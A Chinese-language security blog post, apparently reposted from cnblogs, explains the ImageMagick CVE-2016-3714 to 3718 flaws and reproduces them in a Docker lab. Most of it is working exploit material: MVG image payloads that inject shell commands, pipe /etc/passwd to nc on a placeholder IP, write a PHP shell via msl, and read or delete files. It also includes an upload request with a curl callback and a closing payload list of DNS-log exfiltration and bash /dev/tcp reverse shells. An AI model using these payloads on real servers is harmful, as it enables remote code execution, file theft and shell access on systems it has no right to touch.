ImageMagick 命令执行

ImageMagick 是一款用来Web服务器处理图片的程序,其中一个较为严重的漏洞是用户上传包含攻击payload的图片造成远程命令执行。许多图片处理插件都依赖于ImageMagick库,在后端开发 PHP、Ruby、Node.js等都有所应用

漏洞细节

有关ImageMagick漏洞:CVE-2016-3714、CVE-2016-3718、CVE-2016-3715、CVE-2016-3716、CVE-2016-3717
影响范围:ImageMagick版本 < 6.9.3-9

1.CVE-2016-3714 - shell字符过滤不足导致远程命令执行
ImageMagick中 delegate 这一功能转换多种文件格式允许 调用外部库,使用的是system()命令来执行。从默认的配置文件 delegates.xml 定义了很多占位符,占位符被拼接在命令行中传入系统的 system() ,使用反引号或闭合双引号来命令执行。

<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>

构造 %M 如下:

`https://example.com"|cat /etc/passwd|nc xxx.xxx.xxx.xxx 5555"`

执行命令

convert 'https://example.com"|cat /etc/passwd|nc xxx.xxx.xxx.xxx 5555;"' out.png

可以构造 mvg 或 gif 格式的图片,让其中包含payload的文件来执行我们的命令

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls;")'
pop graphic-context
root@053c67e4213c:/var/www/html# convert vul.gif test.png
demo.php  test.png  upload.php  vul.gif  vul.jpg

2.CVE-2016-3718 - SSRF
ssrf.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

3.CVE-2016-3715 - 任意文件删除
利用ImageMagick ephemeral 伪协议删除文件:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

4.CVE-2016-3716 - 任意读写文件
利用ImageMagick msl协议,进行文件的读取和写入。

file_move.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

5.CVE-2016-3717 - 本地文件读取
利用ImageMagic label协议,造成文件读取漏洞。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

漏洞复现

译及启动测试环境:

docker-compose build
docker-compose up -d

访问http://127.0.0.1可见有三个文件:

├── demo.php # 使用vul.jpg+identify命令测试 
├── upload.php # 支持用户进行上传,并将上传的文件传入PHP的imagick扩展,触发漏洞
└── vul.jpg # 一个简单的POC

首先访问http://127.0.0.1/demo.php,命令并没有回显,但在docker容器中,已经成功得到/tmp/success文件:

root@053c67e4213c:/tmp# cat success
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

访问http://127.0.0.1/upload.php,上传POC文件,数据包如下:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload.php
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 312
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------41184676334
Content-Disposition: form-data; name="file_upload"; filename="1.png"
Content-Type: image/png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "XX.X6X.3X.XXX:8889)'
pop graphic-context
-----------------------------41184676334--

服务器监听该端口,response:

[root@host ~]# nc -lvv 8889
Connection from XXX.XXX.XXX.XXX port 8889 [tcp/ddi-tcp-2] accepted
GET / HTTP/1.1
Host: XX.X6X.3X.XXX:8889
User-Agent: curl/7.52.1
Accept: */*

Payloads

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl `id`.163.kempru.wyzxxz.cn")'
pop graphic-context

push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|curl xxxxx.dnslog.link/?whoami=`whoami`'
pop graphic-context

push graphic-context
viewbox 0 0 640 480
image copy 200,200 100,100 "|bash -i >& /dev/tcp/【ip】/2333 0>&1"
pop graphic-context

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/xxx.xxx.net/2015 0>&1")'
pop graphic-context 

猜你喜欢

转载自www.cnblogs.com/skrr/p/11070843.html